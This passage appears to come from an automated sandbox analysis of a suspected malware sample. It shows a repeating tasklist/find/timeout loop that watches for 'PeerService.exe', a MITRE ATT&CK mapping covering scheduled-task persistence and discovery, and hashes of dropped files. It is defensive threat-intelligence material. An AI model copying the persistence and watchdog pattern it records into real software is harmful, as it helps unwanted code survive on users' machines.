    3⤵
    - Delays execution with timeout.exe
    PID:3888
- - C:\Windows\system32\tasklist.exe
    tasklist
    3⤵
    - Discovers running processes
    PID:4092
- - C:\Windows\system32\find.exe
    find /i "PeerService.exe"
    3⤵
    PID:5084
- - C:\Windows\system32\timeout.exe
    timeout /t 5
    3⤵
    - Delays execution with timeout.exe
    PID:3364
- - C:\Windows\system32\tasklist.exe
    tasklist
    3⤵
    - Discovers running processes
    PID:5300
- - C:\Windows\system32\find.exe
    find /i "PeerService.exe"
    3⤵
    PID:1408
- - C:\Windows\system32\timeout.exe
    timeout /t 5
    3⤵
    - Delays execution with timeout.exe
    PID:5724
- - C:\Windows\system32\tasklist.exe
    tasklist
    3⤵
    - Discovers running processes
    PID:4172
- - C:\Windows\system32\find.exe
    find /i "PeerService.exe"
    3⤵
    PID:1496
- - C:\Windows\system32\timeout.exe
    timeout /t 5
    3⤵
    - Delays execution with timeout.exe
    PID:572
- - C:\Windows\system32\tasklist.exe
    tasklist
    3⤵
    - Discovers running processes
    PID:5572
- - C:\Windows\system32\find.exe
    find /i "PeerService.exe"
    3⤵
    PID:4156
- - C:\Windows\system32\timeout.exe
    timeout /t 5
    3⤵
    - Delays execution with timeout.exe
    PID:2512
- - C:\Windows\system32\tasklist.exe
    tasklist
    3⤵
    - Discovers running processes
    PID:4472
- - C:\Windows\system32\find.exe
    find /i "PeerService.exe"
    3⤵
    PID:2996
- - C:\Windows\system32\timeout.exe
    timeout /t 5
    3⤵
    - Delays execution with timeout.exe
    PID:2616
- - C:\Windows\system32\tasklist.exe
    tasklist
    3⤵
    - Discovers running processes
    PID:3148
- - C:\Windows\system32\find.exe
    find /i "PeerService.exe"
    3⤵
    PID:4952
- - C:\Windows\system32\timeout.exe
    timeout /t 5
    3⤵
    - Delays execution with timeout.exe
    PID:5740
- - C:\Windows\system32\tasklist.exe
    tasklist
    3⤵
    - Discovers running processes
    PID:3452
- - C:\Windows\system32\find.exe
    find /i "PeerService.exe"
    3⤵
    PID:2916
- - C:\Windows\system32\timeout.exe
    timeout /t 5
    3⤵
    - Delays execution with timeout.exe
    PID:3760
- - C:\Windows\system32\tasklist.exe
    tasklist
    3⤵
    - Discovers running processes
    PID:3496
- - C:\Windows\system32\find.exe
    find /i "PeerService.exe"
    3⤵
    PID:2688
- - C:\Windows\system32\timeout.exe
    timeout /t 5
    3⤵
    - Delays execution with timeout.exe
    PID:2744
- - C:\Windows\system32\tasklist.exe
    tasklist
    3⤵
    - Discovers running processes
    PID:5948
- - C:\Windows\system32\find.exe
    find /i "PeerService.exe"
    3⤵
    PID:3700
- - C:\Windows\system32\timeout.exe
    timeout /t 5
    3⤵
    - Delays execution with timeout.exe
    PID:1976
- - C:\Windows\system32\tasklist.exe
    tasklist
    3⤵
    - Discovers running processes
    PID:2252
- - C:\Windows\system32\find.exe
    find /i "PeerService.exe"
    3⤵
    PID:3128
- - C:\Windows\system32\timeout.exe
    timeout /t 5
    3⤵
    - Delays execution with timeout.exe
    PID:2224
- - C:\Windows\system32\tasklist.exe
    tasklist
    3⤵
    - Discovers running processes
    PID:3216
- - C:\Windows\system32\find.exe
    find /i "PeerService.exe"
    3⤵
    PID:2948
- - C:\Windows\system32\timeout.exe
    timeout /t 5
    3⤵
    - Delays execution with timeout.exe
    PID:4740
- - C:\Windows\system32\tasklist.exe
    tasklist
    3⤵
    - Discovers running processes
    PID:2552
- - C:\Windows\system32\find.exe
    find /i "PeerService.exe"
    3⤵
    PID:1676
- - C:\Windows\system32\timeout.exe
    timeout /t 5
    3⤵
    - Delays execution with timeout.exe
    PID:5368
- - C:\Windows\system32\tasklist.exe
    tasklist
    3⤵
    - Discovers running processes
    PID:4112
- - C:\Windows\system32\find.exe
    find /i "PeerService.exe"
    3⤵
    PID:5296
- - C:\Windows\system32\timeout.exe
    timeout /t 5
    3⤵
    - Delays execution with timeout.exe
    PID:3384
- - C:\Windows\system32\tasklist.exe
    tasklist
    3⤵
    - Discovers running processes
    PID:5404
- - C:\Windows\system32\find.exe
    find /i "PeerService.exe"
    3⤵
    PID:1280
- - C:\Windows\system32\timeout.exe
    timeout /t 5
    3⤵
    - Delays execution with timeout.exe
    PID:5272
- - C:\Windows\system32\tasklist.exe
    tasklist
    3⤵
    - Discovers running processes
    PID:5800
- - C:\Windows\system32\find.exe
    find /i "PeerService.exe"
    3⤵
    PID:1212
- - C:\Windows\system32\timeout.exe
    timeout /t 5
    3⤵
    - Delays execution with timeout.exe
    PID:4296

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Windows Command Shell

T1059.003

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Persistence

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Credential Access

Discovery

Process Discovery

T1057

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 a9b2dce08e10e135a7f8e89ffbbd9f9488a4ddd213f3db1fd7c44ff2a71a9e44
MD5 15dd87adb88fc199e0450bae1a3a4bad
SHA1 3ca5f6ae5ed820369afea8d61e50e955e4f16dd1
SHA512 317ffa52690536609423f4724e2a0febd933038c98a92eb9fb71e9f3e7a1bd7306fd58a15390d5e82e6e6dbd87275ec0a455dedeede19cb27aa3ce8885bdad9c
TLSH
T105216833F3DD8614C89A413A10CDAC1036B6C7DB40DECFAB7B84E655A43F699CE61160
MD5 SHA1 SHA512 TLSH

Submit Download

__PSScriptPolicyTest_qx5imlbj.axa.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_qx5imlbj.axa.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

Submit Download

PeerService.exe

Path C:\Users\Admin\AppData\Roaming\PeerService\PeerService.exe
Size 4.3MB
SHA256 15b443b47f992f2f083f4e2352b2bb373085638bceeaad998efc12c4b1ad11d8
MD5 9040f27fe5ace7f3f909a17f9207650b
SHA1 5442fc9f21a1a5a9282e1dd4a1561ac1137ae644
SHA512 02d074315b5ec4fa50a5938b41c97b49fcb19777fda421c8d5e3519dfd71d071f5b7044f30219ade1a1947ddcc34788117610375e2031c233af70b461791adf1
SSDEEP 98304:M+hxpLJlKkhs5WGoqZ92yVG/uzGNV9HkAVHL/p:M+hx9ekiEByQyVG/uzGNVyAll
TLSH
T15926E02BB26901E8D1BFD17CC9165907EBB2780543A0A7CF12E046A62F77BE14E7E315
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

memory/4552-13-0x00000148C6C30000-0x00000148C6C52000-memory.dmp

Download

memory/4552-17-0x00000148C7020000-0x00000148C703E000-memory.dmp

Download

memory/4552-18-0x00000148C7040000-0x00000148C70F2000-memory.dmp

Download

memory/4552-19-0x00000148C6DC0000-0x00000148C6DCA000-memory.dmp

Download